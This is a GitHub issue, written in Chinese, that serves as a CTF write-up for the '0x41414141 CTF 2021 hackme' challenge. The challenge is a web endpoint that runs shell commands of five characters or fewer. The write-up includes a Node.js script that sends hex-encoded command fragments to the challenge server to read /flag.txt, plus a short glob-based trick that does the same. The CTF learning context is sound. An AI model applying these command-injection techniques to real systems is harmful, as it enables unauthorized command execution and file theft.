Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

0x41414141 CTF 2021 - hackme #8

Open
aszx87410 opened this issue Jan 31, 2021 · 0 comments
Open

0x41414141 CTF 2021 - hackme #8

aszx87410 opened this issue Jan 31, 2021 · 0 comments
Labels

Comments

@aszx87410
Copy link
Owner

aszx87410 commented Jan 31, 2021

題目限制是只能輸入 5 個字(含)以內的指令

因為是第一次看到這種類型的題目,所以試了很多指令想看有沒有什麼線索:

env
set
lsof
ps
ps ax
stat
wc /*
ps e

後來用這個關鍵字:command line length restriction ctf,找到了 hitcon2017 的類似題目文章:

  1. https://www.programmersought.com/article/94204188022/
  2. https://hack.more.systems/writeup/2017/11/06/hitconctf-babyfirstrevenge/
  3. https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge

原本想用 xxd 那個來解,還特別寫了一個腳本來轉換:

const axios = require('axios')

const command = 'cat /flag.txt'
const baseUrl = 'http://207.180.200.166:8000/?cmd='

function generateCommand(command) {
  return command.split('').map(char => char.charCodeAt(0).toString(16))
}

let hexs = generateCommand(command)
let groups = []
for(let i=0; i<hexs.length; i+=2) {
  groups.push(hexs[i] + (hexs[i+1] || ''))
}

let commands = groups.map(s => [
  '>' + s,
  'ls>>y',
  'rm ' + s[0] + '*'
])

commands.push([
  '>z',
  '>-p',
  '>-r',
  'xxd *',
  'sh z'
])

commands = commands.flat()

async function run() {
  for(let i=0; i<commands.length; i++) {
    console.log((i+1) + '/' + commands.length)
    console.log('command:' + commands[i])
    try {
      const response = await axios(baseUrl + encodeURIComponent(commands[i]))
      console.log('response:', response.data)
    } catch(err) {
      console.log('err', err.toString())
      return;
    }
  }
}

run()

但總之最後一步 xxd * 跑不過就是跑不過,local 可以但遠端不行,不確定是為什麼

之後照著前面幾篇的思路,我突然想到只要:

>cat
* /f*

就搞定了,根本不用弄那麼多招

再次覺得 bash 的指令跟 glob 真的很神奇,然後這題跟 web 其實沒什麼關係XD

話說這題學到了 * ? 這些 pattern 還有 nl 這指令其實也可以印內容,可以用 ls /usr/bin/?? 看有哪些兩個字的指令

@aszx87410 aszx87410 added the Web label Jan 31, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant